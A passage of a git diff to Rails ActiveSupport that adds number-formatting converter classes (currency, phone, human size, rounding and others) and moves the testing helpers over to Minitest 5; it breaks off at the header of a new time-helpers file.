+      DEFAULTS = {
+        # Used in number_to_delimited
+        # These are also the defaults for 'currency', 'percentage', 'precision', and 'human'
+        format: {
+          # Sets the separator between the units, for more precision (e.g. 1.0 / 2.0 == 0.5)
+          separator: ".",
+          # Delimits thousands (e.g. 1,000,000 is a million) (always in groups of three)
+          delimiter: ",",
+          # Number of decimals, behind the separator (the number 1 with a precision of 2 gives: 1.00)
+          precision: 3,
+          # If set to true, precision will mean the number of significant digits instead
+          # of the number of decimal digits (1234 with precision 2 becomes 1200, 1.23543 becomes 1.2)
+          significant: false,
+          # If set, the zeros after the decimal separator will always be stripped (eg.: 1.200 will be 1.2)
+          strip_insignificant_zeros: false
+        },
+
+        # Used in number_to_currency
+        currency: {
+          format: {
+            format: "%u%n",
+            negative_format: "-%u%n",
+            unit: "$",
+            # These five are to override number.format and are optional
+            separator: ".",
+            delimiter: ",",
+            precision: 2,
+            significant: false,
+            strip_insignificant_zeros: false
+          }
+        },
+
+        # Used in number_to_percentage
+        percentage: {
+          format: {
+            delimiter: "",
+            format: "%n%"
+          }
+        },
+
+        # Used in number_to_rounded
+        precision: {
+          format: {
+            delimiter: ""
+          }
+        },
+
+        # Used in number_to_human_size and number_to_human
+        human: {
+          format: {
+            # These five are to override number.format and are optional
+            delimiter: "",
+            precision: 3,
+            significant: true,
+            strip_insignificant_zeros: true
+          },
+          # Used in number_to_human_size
+          storage_units: {
+            # Storage units output formatting.
+            # %u is the storage unit, %n is the number (default: 2 MB)
+            format: "%n %u",
+            units: {
+              byte: "Bytes",
+              kb: "KB",
+              mb: "MB",
+              gb: "GB",
+              tb: "TB"
+            }
+          },
+          # Used in number_to_human
+          decimal_units: {
+            format: "%n %u",
+            # Decimal units output formatting
+            # By default we will only quantify some of the exponents
+            # but the commented ones might be defined or overridden
+            # by the user.
+            units: {
+              # femto: Quadrillionth
+              # pico: Trillionth
+              # nano: Billionth
+              # micro: Millionth
+              # mili: Thousandth
+              # centi: Hundredth
+              # deci: Tenth
+              unit: "",
+              # ten:
+              #   one: Ten
+              #   other: Tens
+              # hundred: Hundred
+              thousand: "Thousand",
+              million: "Million",
+              billion: "Billion",
+              trillion: "Trillion",
+              quadrillion: "Quadrillion"
+            }
+          }
+        }
+      }
+
+      def self.convert(number, options)
+        new(number, options).execute
+      end
+
+      def initialize(number, options)
+        @number = number
+        @opts   = options.symbolize_keys
+      end
+
+      def execute
+        if !number
+          nil
+        elsif validate_float? && !valid_float?
+          number
+        else
+          convert
+        end
+      end
+
+      private
+
+        def options
+          @options ||= format_options.merge(opts)
+        end
+
+        def format_options #:nodoc:
+          default_format_options.merge!(i18n_format_options)
+        end
+
+        def default_format_options #:nodoc:
+          options = DEFAULTS[:format].dup
+          options.merge!(DEFAULTS[namespace][:format]) if namespace
+          options
+        end
+
+        def i18n_format_options #:nodoc:
+          locale = opts[:locale]
+          options = I18n.translate(:'number.format', locale: locale, default: {}).dup
+
+          if namespace
+            options.merge!(I18n.translate(:"number.#{namespace}.format", locale: locale, default: {}))
+          end
+
+          options
+        end
+
+        def translate_number_value_with_default(key, i18n_options = {}) #:nodoc:
+          I18n.translate(key, { default: default_value(key), scope: :number }.merge!(i18n_options))
+        end
+
+        def translate_in_locale(key, i18n_options = {})
+          translate_number_value_with_default(key, { locale: options[:locale] }.merge(i18n_options))
+        end
+
+        def default_value(key)
+          key.split('.').reduce(DEFAULTS) { |defaults, k| defaults[k.to_sym] }
+        end
+
+        def valid_float? #:nodoc:
+          Float(number)
+        rescue ArgumentError, TypeError
+          false
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/number_helper/number_to_currency_converter.rb b/activesupport/lib/active_support/number_helper/number_to_currency_converter.rb
new file mode 100644
index 0000000..9ae27a8
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_currency_converter.rb
@@ -0,0 +1,46 @@
+module ActiveSupport
+  module NumberHelper
+    class NumberToCurrencyConverter < NumberConverter # :nodoc:
+      self.namespace = :currency
+
+      def convert
+        number = self.number.to_s.strip
+        format = options[:format]
+
+        if is_negative?(number)
+          format = options[:negative_format]
+          number = absolute_value(number)
+        end
+
+        rounded_number = NumberToRoundedConverter.convert(number, options)
+        format.gsub('%n', rounded_number).gsub('%u', options[:unit])
+      end
+
+      private
+
+        def is_negative?(number)
+          number.to_f.phase != 0
+        end
+
+        def absolute_value(number)
+          number.respond_to?("abs") ? number.abs : number.sub(/\A-/, '')
+        end
+
+        def options
+          @options ||= begin
+            defaults = default_format_options.merge(i18n_opts)
+            # Override negative format if format options is given
+            defaults[:negative_format] = "-#{opts[:format]}" if opts[:format]
+            defaults.merge!(opts)
+          end
+        end
+
+        def i18n_opts
+          # Set International negative format if not exists
+          i18n = i18n_format_options
+          i18n[:negative_format] ||= "-#{i18n[:format]}" if i18n[:format]
+          i18n
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/number_helper/number_to_delimited_converter.rb b/activesupport/lib/active_support/number_helper/number_to_delimited_converter.rb
new file mode 100644
index 0000000..d85cc08
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_delimited_converter.rb
@@ -0,0 +1,23 @@
+module ActiveSupport
+  module NumberHelper
+    class NumberToDelimitedConverter < NumberConverter #:nodoc:
+      self.validate_float = true
+
+      DELIMITED_REGEX = /(\d)(?=(\d\d\d)+(?!\d))/
+
+      def convert
+        parts.join(options[:separator])
+      end
+
+      private
+
+        def parts
+          left, right = number.to_s.split('.')
+          left.gsub!(DELIMITED_REGEX) do |digit_to_delimit|
+            "#{digit_to_delimit}#{options[:delimiter]}"
+          end
+          [left, right].compact
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/number_helper/number_to_human_converter.rb b/activesupport/lib/active_support/number_helper/number_to_human_converter.rb
new file mode 100644
index 0000000..9a3dc52
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_human_converter.rb
@@ -0,0 +1,66 @@
+module ActiveSupport
+  module NumberHelper
+    class NumberToHumanConverter < NumberConverter # :nodoc:
+      DECIMAL_UNITS = { 0 => :unit, 1 => :ten, 2 => :hundred, 3 => :thousand, 6 => :million, 9 => :billion, 12 => :trillion, 15 => :quadrillion,
+        -1 => :deci, -2 => :centi, -3 => :mili, -6 => :micro, -9 => :nano, -12 => :pico, -15 => :femto }
+      INVERTED_DECIMAL_UNITS = DECIMAL_UNITS.invert
+
+      self.namespace      = :human
+      self.validate_float = true
+
+      def convert # :nodoc:
+        @number = Float(number)
+
+        # for backwards compatibility with those that didn't add strip_insignificant_zeros to their locale files
+        unless options.key?(:strip_insignificant_zeros)
+          options[:strip_insignificant_zeros] = true
+        end
+
+        units = opts[:units]
+        exponent = calculate_exponent(units)
+        @number = number / (10 ** exponent)
+
+        unit = determine_unit(units, exponent)
+
+        rounded_number = NumberToRoundedConverter.convert(number, options)
+        format.gsub(/%n/, rounded_number).gsub(/%u/, unit).strip
+      end
+
+      private
+
+        def format
+          options[:format] || translate_in_locale('human.decimal_units.format')
+        end
+
+        def determine_unit(units, exponent)
+          exp = DECIMAL_UNITS[exponent]
+          case units
+          when Hash
+            units[exp] || ''
+          when String, Symbol
+            I18n.translate("#{units}.#{exp}", :locale => options[:locale], :count => number.to_i)
+          else
+            translate_in_locale("human.decimal_units.units.#{exp}", count: number.to_i)
+          end
+        end
+
+        def calculate_exponent(units)
+          exponent = number != 0 ? Math.log10(number.abs).floor : 0
+          unit_exponents(units).find { |e| exponent >= e } || 0
+        end
+
+        def unit_exponents(units)
+          case units
+          when Hash
+            units
+          when String, Symbol
+            I18n.translate(units.to_s, :locale => options[:locale], :raise => true)
+          when nil
+            translate_in_locale("human.decimal_units.units", raise: true)
+          else
+            raise ArgumentError, ":units must be a Hash or String translation scope."
+          end.keys.map { |e_name| INVERTED_DECIMAL_UNITS[e_name] }.sort_by { |e| -e }
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/number_helper/number_to_human_size_converter.rb b/activesupport/lib/active_support/number_helper/number_to_human_size_converter.rb
new file mode 100644
index 0000000..78d2c9a
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_human_size_converter.rb
@@ -0,0 +1,58 @@
+module ActiveSupport
+  module NumberHelper
+    class NumberToHumanSizeConverter < NumberConverter #:nodoc:
+      STORAGE_UNITS = [:byte, :kb, :mb, :gb, :tb]
+
+      self.namespace      = :human
+      self.validate_float = true
+
+      def convert
+        @number = Float(number)
+
+        # for backwards compatibility with those that didn't add strip_insignificant_zeros to their locale files
+        unless options.key?(:strip_insignificant_zeros)
+          options[:strip_insignificant_zeros] = true
+        end
+
+        if smaller_than_base?
+          number_to_format = number.to_i.to_s
+        else
+          human_size = number / (base ** exponent)
+          number_to_format = NumberToRoundedConverter.convert(human_size, options)
+        end
+        conversion_format.gsub(/%n/, number_to_format).gsub(/%u/, unit)
+      end
+
+      private
+
+        def conversion_format
+          translate_number_value_with_default('human.storage_units.format', :locale => options[:locale], :raise => true)
+        end
+
+        def unit
+          translate_number_value_with_default(storage_unit_key, :locale => options[:locale], :count => number.to_i, :raise => true)
+        end
+
+        def storage_unit_key
+          key_end = smaller_than_base? ? 'byte' : STORAGE_UNITS[exponent]
+          "human.storage_units.units.#{key_end}"
+        end
+
+        def exponent
+          max = STORAGE_UNITS.size - 1
+          exp = (Math.log(number) / Math.log(base)).to_i
+          exp = max if exp > max # avoid overflow for the highest unit
+          exp
+        end
+
+        def smaller_than_base?
+          number.to_i < base
+        end
+
+        def base
+          opts[:prefix] == :si ? 1000 : 1024
+        end
+    end
+  end
+end
+
diff --git a/activesupport/lib/active_support/number_helper/number_to_percentage_converter.rb b/activesupport/lib/active_support/number_helper/number_to_percentage_converter.rb
new file mode 100644
index 0000000..eafe284
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_percentage_converter.rb
@@ -0,0 +1,12 @@
+module ActiveSupport
+  module NumberHelper
+    class NumberToPercentageConverter < NumberConverter # :nodoc:
+      self.namespace = :percentage
+
+      def convert
+        rounded_number = NumberToRoundedConverter.convert(number, options)
+        options[:format].gsub('%n', rounded_number)
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/number_helper/number_to_phone_converter.rb b/activesupport/lib/active_support/number_helper/number_to_phone_converter.rb
new file mode 100644
index 0000000..af2ee56
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_phone_converter.rb
@@ -0,0 +1,49 @@
+module ActiveSupport
+  module NumberHelper
+    class NumberToPhoneConverter < NumberConverter #:nodoc:
+      def convert
+        str  = country_code(opts[:country_code])
+        str << convert_to_phone_number(number.to_s.strip)
+        str << phone_ext(opts[:extension])
+      end
+
+      private
+
+        def convert_to_phone_number(number)
+          if opts[:area_code]
+            convert_with_area_code(number)
+          else
+            convert_without_area_code(number)
+          end
+        end
+
+        def convert_with_area_code(number)
+          number.gsub!(/(\d{1,3})(\d{3})(\d{4}$)/,"(\\1) \\2#{delimiter}\\3")
+          number
+        end
+
+        def convert_without_area_code(number)
+          number.gsub!(/(\d{0,3})(\d{3})(\d{4})$/,"\\1#{delimiter}\\2#{delimiter}\\3")
+          number.slice!(0, 1) if start_with_delimiter?(number)
+          number
+        end
+
+        def start_with_delimiter?(number)
+          delimiter.present? && number.start_with?(delimiter)
+        end
+
+        def delimiter
+          opts[:delimiter] || "-"
+        end
+
+        def country_code(code)
+          code.blank? ? "" : "+#{code}#{delimiter}"
+        end
+
+        def phone_ext(ext)
+          ext.blank? ? "" : " x #{ext}"
+        end
+    end
+  end
+end
+
diff --git a/activesupport/lib/active_support/number_helper/number_to_rounded_converter.rb b/activesupport/lib/active_support/number_helper/number_to_rounded_converter.rb
new file mode 100644
index 0000000..c45f6cd
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_rounded_converter.rb
@@ -0,0 +1,91 @@
+module ActiveSupport
+  module NumberHelper
+    class NumberToRoundedConverter < NumberConverter # :nodoc:
+      self.namespace      = :precision
+      self.validate_float = true
+
+      def convert
+        precision = options.delete :precision
+        significant = options.delete :significant
+
+        case number
+        when Float, String
+          @number = BigDecimal(number.to_s)
+        when Rational
+          if significant
+            @number = BigDecimal(number, digit_count(number.to_i) + precision)
+          else
+            @number = BigDecimal(number, precision)
+          end
+        else
+          @number = number.to_d
+        end
+
+        if significant && precision > 0
+          digits, rounded_number = digits_and_rounded_number(precision)
+          precision -= digits
+          precision = 0 if precision < 0 # don't let it be negative
+        else
+          rounded_number = number.round(precision)
+          rounded_number = rounded_number.to_i if precision == 0
+          rounded_number = rounded_number.abs if rounded_number.zero? # prevent showing negative zeros
+        end
+
+        formatted_string =
+          if BigDecimal === rounded_number && rounded_number.finite?
+            s = rounded_number.to_s('F') + '0'*precision
+            a, b = s.split('.', 2)
+            a + '.' + b[0, precision]
+          else
+            "%01.#{precision}f" % rounded_number
+          end
+
+        delimited_number = NumberToDelimitedConverter.convert(formatted_string, options)
+        format_number(delimited_number)
+      end
+
+      private
+
+        def digits_and_rounded_number(precision)
+          if zero?
+            [1, 0]
+          else
+            digits = digit_count(number)
+            multiplier = 10 ** (digits - precision)
+            rounded_number = calculate_rounded_number(multiplier)
+            digits = digit_count(rounded_number) # After rounding, the number of digits may have changed
+            [digits, rounded_number]
+          end
+        end
+
+        def calculate_rounded_number(multiplier)
+          (number / BigDecimal.new(multiplier.to_f.to_s)).round * multiplier
+        end
+
+        def digit_count(number)
+          (Math.log10(absolute_number(number)) + 1).floor
+        end
+
+        def strip_insignificant_zeros
+          options[:strip_insignificant_zeros]
+        end
+
+        def format_number(number)
+          if strip_insignificant_zeros
+            escaped_separator = Regexp.escape(options[:separator])
+            number.sub(/(#{escaped_separator})(\d*[1-9])?0+\z/, '\1\2').sub(/#{escaped_separator}\z/, '')
+          else
+            number
+          end
+        end
+
+        def absolute_number(number)
+          number.respond_to?(:abs) ? number.abs : number.to_d.abs
+        end
+
+        def zero?
+          number.respond_to?(:zero?) ? number.zero? : number.to_d.zero?
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/option_merger.rb b/activesupport/lib/active_support/option_merger.rb
index e55ffd1..dea84e4 100644
--- a/activesupport/lib/active_support/option_merger.rb
+++ b/activesupport/lib/active_support/option_merger.rb
@@ -12,7 +12,7 @@ module ActiveSupport
 
     private
       def method_missing(method, *arguments, &block)
-        if arguments.last.is_a?(Proc)
+        if arguments.first.is_a?(Proc)
           proc = arguments.pop
           arguments << lambda { |*args| @options.deep_merge(proc.call(*args)) }
         else
diff --git a/activesupport/lib/active_support/ordered_hash.rb b/activesupport/lib/active_support/ordered_hash.rb
index 1a3693f..4680d5a 100644
--- a/activesupport/lib/active_support/ordered_hash.rb
+++ b/activesupport/lib/active_support/ordered_hash.rb
@@ -28,6 +28,14 @@ module ActiveSupport
       coder.represent_seq '!omap', map { |k,v| { k => v } }
     end
 
+    def select(*args, &block)
+      dup.tap { |hash| hash.select!(*args, &block) }
+    end
+
+    def reject(*args, &block)
+      dup.tap { |hash| hash.reject!(*args, &block) }
+    end
+
     def nested_under_indifferent_access
       self
     end
diff --git a/activesupport/lib/active_support/ordered_options.rb b/activesupport/lib/active_support/ordered_options.rb
index c9518bd..a33e2c5 100644
--- a/activesupport/lib/active_support/ordered_options.rb
+++ b/activesupport/lib/active_support/ordered_options.rb
@@ -40,6 +40,14 @@ module ActiveSupport
     end
   end
 
+  # +InheritableOptions+ provides a constructor to build an +OrderedOptions+
+  # hash inherited from another hash.
+  #
+  # Use this if you already have some hash and you want to create a new one based on it.
+  #
+  #   h = ActiveSupport::InheritableOptions.new({ girl: 'Mary', boy: 'John' })
+  #   h.girl # => 'Mary'
+  #   h.boy  # => 'John'
   class InheritableOptions < OrderedOptions
     def initialize(parent = nil)
       if parent.kind_of?(OrderedOptions)
diff --git a/activesupport/lib/active_support/per_thread_registry.rb b/activesupport/lib/active_support/per_thread_registry.rb
index aa682fb..ca2e4d5 100644
--- a/activesupport/lib/active_support/per_thread_registry.rb
+++ b/activesupport/lib/active_support/per_thread_registry.rb
@@ -32,21 +32,22 @@ module ActiveSupport
   #
   # If the class has an initializer, it must accept no arguments.
   module PerThreadRegistry
-    protected
+    def self.extended(object)
+      object.instance_variable_set '@per_thread_registry_key', object.name.freeze
+    end
+
+    def instance
+      Thread.current[@per_thread_registry_key] ||= new
+    end
 
+    protected
       def method_missing(name, *args, &block) # :nodoc:
         # Caches the method definition as a singleton method of the receiver.
         define_singleton_method(name) do |*a, &b|
-          per_thread_registry_instance.public_send(name, *a, &b)
+          instance.public_send(name, *a, &b)
         end
 
         send(name, *args, &block)
       end
-
-    private
-
-      def per_thread_registry_instance
-        Thread.current[name] ||= new
-      end
   end
 end
diff --git a/activesupport/lib/active_support/subscriber.rb b/activesupport/lib/active_support/subscriber.rb
index 34c6f90..98be78b 100644
--- a/activesupport/lib/active_support/subscriber.rb
+++ b/activesupport/lib/active_support/subscriber.rb
@@ -31,22 +31,54 @@ module ActiveSupport
 
       # Attach the subscriber to a namespace.
       def attach_to(namespace, subscriber=new, notifier=ActiveSupport::Notifications)
+        @namespace  = namespace
+        @subscriber = subscriber
+        @notifier   = notifier
+
         subscribers << subscriber
 
+        # Add event subscribers for all existing methods on the class.
         subscriber.public_methods(false).each do |event|
-          next if %w{ start finish }.include?(event.to_s)
+          add_event_subscriber(event)
+        end
+      end
 
-          notifier.subscribe("#{event}.#{namespace}", subscriber)
+      # Adds event subscribers for all new methods added to the class.
+      def method_added(event)
+        # Only public methods are added as subscribers, and only if a notifier
+        # has been set up. This means that subscribers will only be set up for
+        # classes that call #attach_to.
+        if public_method_defined?(event) && notifier
+          add_event_subscriber(event)
         end
       end
 
       def subscribers
         @@subscribers ||= []
       end
+
+      protected
+
+      attr_reader :subscriber, :notifier, :namespace
+
+      def add_event_subscriber(event)
+        return if %w{ start finish }.include?(event.to_s)
+
+        pattern = "#{event}.#{namespace}"
+
+        # don't add multiple subscribers (eg. if methods are redefined)
+        return if subscriber.patterns.include?(pattern)
+
+        subscriber.patterns << pattern
+        notifier.subscribe(pattern, subscriber)
+      end
     end
 
+    attr_reader :patterns # :nodoc:
+
     def initialize
       @queue_key = [self.class.name, object_id].join "-"
+      @patterns  = []
       super
     end
 
@@ -71,7 +103,7 @@ module ActiveSupport
     private
 
       def event_stack
-        SubscriberQueueRegistry.get_queue(@queue_key)
+        SubscriberQueueRegistry.instance.get_queue(@queue_key)
       end
   end
 
diff --git a/activesupport/lib/active_support/tagged_logging.rb b/activesupport/lib/active_support/tagged_logging.rb
index 18bc919..d5c2222 100644
--- a/activesupport/lib/active_support/tagged_logging.rb
+++ b/activesupport/lib/active_support/tagged_logging.rb
@@ -1,3 +1,4 @@
+require 'active_support/core_ext/module/delegation'
 require 'active_support/core_ext/object/blank'
 require 'logger'
 require 'active_support/logger'
diff --git a/activesupport/lib/active_support/test_case.rb b/activesupport/lib/active_support/test_case.rb
index 8b392c3..2fb5c04 100644
--- a/activesupport/lib/active_support/test_case.rb
+++ b/activesupport/lib/active_support/test_case.rb
@@ -1,13 +1,13 @@
 gem 'minitest' # make sure we get the gem, not stdlib
-require 'minitest/unit'
+require 'minitest'
 require 'active_support/testing/tagged_logging'
 require 'active_support/testing/setup_and_teardown'
 require 'active_support/testing/assertions'
 require 'active_support/testing/deprecation'
-require 'active_support/testing/pending'
 require 'active_support/testing/declarative'
 require 'active_support/testing/isolation'
 require 'active_support/testing/constant_lookup'
+require 'active_support/testing/time_helpers'
 require 'active_support/core_ext/kernel/reporting'
 require 'active_support/deprecation'
 
@@ -17,9 +17,10 @@ rescue LoadError
 end
 
 module ActiveSupport
-  class TestCase < ::MiniTest::Unit::TestCase
-    Assertion = MiniTest::Assertion
-    alias_method :method_name, :__name__
+  class TestCase < ::Minitest::Test
+    Assertion = Minitest::Assertion
+
+    alias_method :method_name, :name
 
     $tags = {}
     def self.for_tag(tag)
@@ -27,16 +28,14 @@ module ActiveSupport
     end
 
     # FIXME: we have tests that depend on run order, we should fix that and
-    # remove this method.
-    def self.test_order # :nodoc:
-      :sorted
-    end
+    # remove this method call.
+    self.i_suck_and_my_tests_are_order_dependent!
 
     include ActiveSupport::Testing::TaggedLogging
     include ActiveSupport::Testing::SetupAndTeardown
     include ActiveSupport::Testing::Assertions
     include ActiveSupport::Testing::Deprecation
-    include ActiveSupport::Testing::Pending
+    include ActiveSupport::Testing::TimeHelpers
     extend ActiveSupport::Testing::Declarative
 
     # test/unit backwards compatibility methods
diff --git a/activesupport/lib/active_support/testing/assertions.rb b/activesupport/lib/active_support/testing/assertions.rb
index 175f7ff..76a591b 100644
--- a/activesupport/lib/active_support/testing/assertions.rb
+++ b/activesupport/lib/active_support/testing/assertions.rb
@@ -92,36 +92,6 @@ module ActiveSupport
       def assert_no_difference(expression, message = nil, &block)
         assert_difference expression, 0, message, &block
       end
-
-      # Test if an expression is blank. Passes if <tt>object.blank?</tt>
-      # is +true+.
-      #
-      #   assert_blank []   # => true
-      #   assert_blank [[]] # => [[]] is not blank
-      #
-      # An error message can be specified.
-      #
-      #   assert_blank [], 'this should be blank'
-      def assert_blank(object, message=nil)
-        ActiveSupport::Deprecation.warn('"assert_blank" is deprecated. Please use "assert object.blank?" instead')
-        message ||= "#{object.inspect} is not blank"
-        assert object.blank?, message
-      end
-
-      # Test if an expression is not blank. Passes if <tt>object.present?</tt>
-      # is +true+.
-      #
-      #   assert_present({ data: 'x' }) # => true
-      #   assert_present({})            # => {} is blank
-      #
-      # An error message can be specified.
-      #
-      #   assert_present({ data: 'x' }, 'this should not be blank')
-      def assert_present(object, message=nil)
-        ActiveSupport::Deprecation.warn('"assert_present" is deprecated. Please use "assert object.present?" instead')
-        message ||= "#{object.inspect} is blank"
-        assert object.present?, message
-      end
     end
   end
 end
diff --git a/activesupport/lib/active_support/testing/autorun.rb b/activesupport/lib/active_support/testing/autorun.rb
index c446adc..5aa5f46 100644
--- a/activesupport/lib/active_support/testing/autorun.rb
+++ b/activesupport/lib/active_support/testing/autorun.rb
@@ -1,5 +1,5 @@
 gem 'minitest'
 
-require 'minitest/unit'
+require 'minitest'
 
-MiniTest::Unit.autorun
+Minitest.autorun
diff --git a/activesupport/lib/active_support/testing/declarative.rb b/activesupport/lib/active_support/testing/declarative.rb
index 508e372..c349bb5 100644
--- a/activesupport/lib/active_support/testing/declarative.rb
+++ b/activesupport/lib/active_support/testing/declarative.rb
@@ -7,11 +7,18 @@ module ActiveSupport
 
           unless method_defined?(:describe)
             def self.describe(text)
-              class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
-                def self.name
-                  "#{text}"
-                end
-              RUBY_EVAL
+              if block_given?
+                super
+              else
+                message = "`describe` without a block is deprecated, please switch to: `def self.name; #{text.inspect}; end`\n"
+                ActiveSupport::Deprecation.warn message
+
+                class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
+                  def self.name
+                    "#{text}"
+                  end
+                RUBY_EVAL
+              end
             end
           end
 
@@ -19,9 +26,12 @@ module ActiveSupport
       end
 
       unless defined?(Spec)
-        # test "verify something" do
-        #   ...
-        # end
+        # Helper to define a test method using a String. Under the hood, it replaces
+        # spaces with underscores and defines the test method.
+        #
+        #   test "verify something" do
+        #     ...
+        #   end
         def test(name, &block)
           test_name = "test_#{name.gsub(/\s+/,'_')}".to_sym
           defined = instance_method(test_name) rescue false
diff --git a/activesupport/lib/active_support/testing/deprecation.rb b/activesupport/lib/active_support/testing/deprecation.rb
index a834290..6c94c61 100644
--- a/activesupport/lib/active_support/testing/deprecation.rb
+++ b/activesupport/lib/active_support/testing/deprecation.rb
@@ -19,18 +19,17 @@ module ActiveSupport
         result
       end
 
-      private
-        def collect_deprecations
-          old_behavior = ActiveSupport::Deprecation.behavior
-          deprecations = []
-          ActiveSupport::Deprecation.behavior = Proc.new do |message, callstack|
-            deprecations << message
-          end
-          result = yield
-          [result, deprecations]
-        ensure
-          ActiveSupport::Deprecation.behavior = old_behavior
+      def collect_deprecations
+        old_behavior = ActiveSupport::Deprecation.behavior
+        deprecations = []
+        ActiveSupport::Deprecation.behavior = Proc.new do |message, callstack|
+          deprecations << message
         end
+        result = yield
+        [result, deprecations]
+      ensure
+        ActiveSupport::Deprecation.behavior = old_behavior
+      end
     end
   end
 end
diff --git a/activesupport/lib/active_support/testing/isolation.rb b/activesupport/lib/active_support/testing/isolation.rb
index e16b73a..908af17 100644
--- a/activesupport/lib/active_support/testing/isolation.rb
+++ b/activesupport/lib/active_support/testing/isolation.rb
@@ -1,60 +1,14 @@
 require 'rbconfig'
-require 'minitest/parallel_each'
 
 module ActiveSupport
   module Testing
-    class RemoteError < StandardError
-
-      attr_reader :message, :backtrace
-
-      def initialize(exception)
-        @message = "caught #{exception.class.name}: #{exception.message}"
-        @backtrace = exception.backtrace
-      end
-    end
-
-    class ProxyTestResult
-      def initialize(calls = [])
-        @calls = calls
-      end
-
-      def add_error(e)
-        e = Test::Unit::Error.new(e.test_name, RemoteError.new(e.exception))
-        @calls << [:add_error, e]
-      end
-
-      def __replay__(result)
-        @calls.each do |name, args|
-          result.send(name, *args)
-        end
-      end
-
-      def marshal_dump
-        @calls
-      end
-
-      def marshal_load(calls)
-        initialize(calls)
-      end
-
-      def method_missing(name, *args)
-        @calls << [name, args]
-      end
-
-      def info_signal
-        Signal.list['INFO']
-      end
-    end
-
     module Isolation
       require 'thread'
 
       def self.included(klass) #:nodoc:
-        klass.extend(Module.new {
-          def test_methods
-            ParallelEach.new super
-          end
-        })
+        klass.class_eval do
+          parallelize_me!
+        end
       end
 
       def self.forking_env?
@@ -72,27 +26,24 @@ module ActiveSupport
         end
       end
 
-      def run(runner)
-        _run_class_setup
-
-        serialized = run_in_isolation do |isolated_runner|
-          super(isolated_runner)
+      def run
+        serialized = run_in_isolation do
+          super
         end
 
-        retval, proxy = Marshal.load(serialized)
-        proxy.__replay__(runner)
-        retval
+        Marshal.load(serialized)
       end
 
       module Forking
         def run_in_isolation(&blk)
           read, write = IO.pipe
+          read.binmode
+          write.binmode
 
           pid = fork do
             read.close
-            proxy = ProxyTestResult.new
-            retval = yield proxy
-            write.puts [Marshal.dump([retval, proxy])].pack("m")
+            yield
+            write.puts [Marshal.dump(self.dup)].pack("m")
             exit!
           end
 
@@ -112,19 +63,18 @@ module ActiveSupport
           require "tempfile"
 
           if ENV["ISOLATION_TEST"]
-            proxy = ProxyTestResult.new
-            retval = yield proxy
+            yield
             File.open(ENV["ISOLATION_OUTPUT"], "w") do |file|
-              file.puts [Marshal.dump([retval, proxy])].pack("m")
+              file.puts [Marshal.dump(self.dup)].pack("m")
             end
             exit!
           else
             Tempfile.open("isolation") do |tmpfile|
-              ENV["ISOLATION_TEST"]   = @method_name
+              ENV["ISOLATION_TEST"]   = self.class.name
               ENV["ISOLATION_OUTPUT"] = tmpfile.path
 
               load_paths = $-I.map {|p| "-I\"#{File.expand_path(p)}\"" }.join(" ")
-              `#{Gem.ruby} #{load_paths} #{$0} #{ORIG_ARGV.join(" ")} -t\"#{self.class}\"`
+              `#{Gem.ruby} #{load_paths} #{$0} #{ORIG_ARGV.join(" ")}`
 
               ENV.delete("ISOLATION_TEST")
               ENV.delete("ISOLATION_OUTPUT")
diff --git a/activesupport/lib/active_support/testing/pending.rb b/activesupport/lib/active_support/testing/pending.rb
deleted file mode 100644
index b04bbbb..0000000
--- a/activesupport/lib/active_support/testing/pending.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-require 'active_support/deprecation'
-
-module ActiveSupport
-  module Testing
-    module Pending # :nodoc:
-      unless defined?(Spec) 
-        def pending(description = "", &block)
-          ActiveSupport::Deprecation.warn("#pending is deprecated and will be removed in Rails 4.1, please use #skip instead.")
-          skip(description.blank? ? nil : description)
-        end
-      end
-    end
-  end
-end
diff --git a/activesupport/lib/active_support/testing/setup_and_teardown.rb b/activesupport/lib/active_support/testing/setup_and_teardown.rb
index a65148c..33f2b8d 100644
--- a/activesupport/lib/active_support/testing/setup_and_teardown.rb
+++ b/activesupport/lib/active_support/testing/setup_and_teardown.rb
@@ -3,6 +3,19 @@ require 'active_support/callbacks'
 
 module ActiveSupport
   module Testing
+    # Adds support for +setup+ and +teardown+ callbacks.
+    # These callbacks serve as a replacement to overwriting the
+    # <tt>#setup</tt> and <tt>#teardown</tt> methods of your TestCase.
+    #
+    #   class ExampleTest < ActiveSupport::TestCase
+    #     setup do
+    #       # ...
+    #     end
+    #
+    #     teardown do
+    #       # ...
+    #     end
+    #   end
     module SetupAndTeardown
       extend ActiveSupport::Concern
 
@@ -12,21 +25,23 @@ module ActiveSupport
       end
 
       module ClassMethods
+        # Add a callback, which runs before <tt>TestCase#setup</tt>.
         def setup(*args, &block)
           set_callback(:setup, :before, *args, &block)
         end
 
+        # Add a callback, which runs after <tt>TestCase#teardown</tt>.
         def teardown(*args, &block)
           set_callback(:teardown, :after, *args, &block)
         end
       end
 
-      def before_setup
+      def before_setup # :nodoc:
         super
         run_callbacks :setup
       end
 
-      def after_teardown
+      def after_teardown # :nodoc:
         run_callbacks :teardown
         super
       end
diff --git a/activesupport/lib/active_support/testing/tagged_logging.rb b/activesupport/lib/active_support/testing/tagged_logging.rb
index 9d43eb1..f4cee64 100644
--- a/activesupport/lib/active_support/testing/tagged_logging.rb
+++ b/activesupport/lib/active_support/testing/tagged_logging.rb
@@ -7,7 +7,7 @@ module ActiveSupport
 
       def before_setup
         if tagged_logger
-          heading = "#{self.class}: #{__name__}"
+          heading = "#{self.class}: #{name}"
           divider = '-' * heading.size
           tagged_logger.info divider
           tagged_logger.info heading
diff --git a/activesupport/lib/active_support/testing/time_helpers.rb b/activesupport/lib/active_support/testing/time_helpers.rb
new file mode 100644
index 0000000..eefa842
--- /dev/null
+++ b/activesupport/lib/active_support/testing/time_helpers.rb
@@ -0,0 +1,127 @@
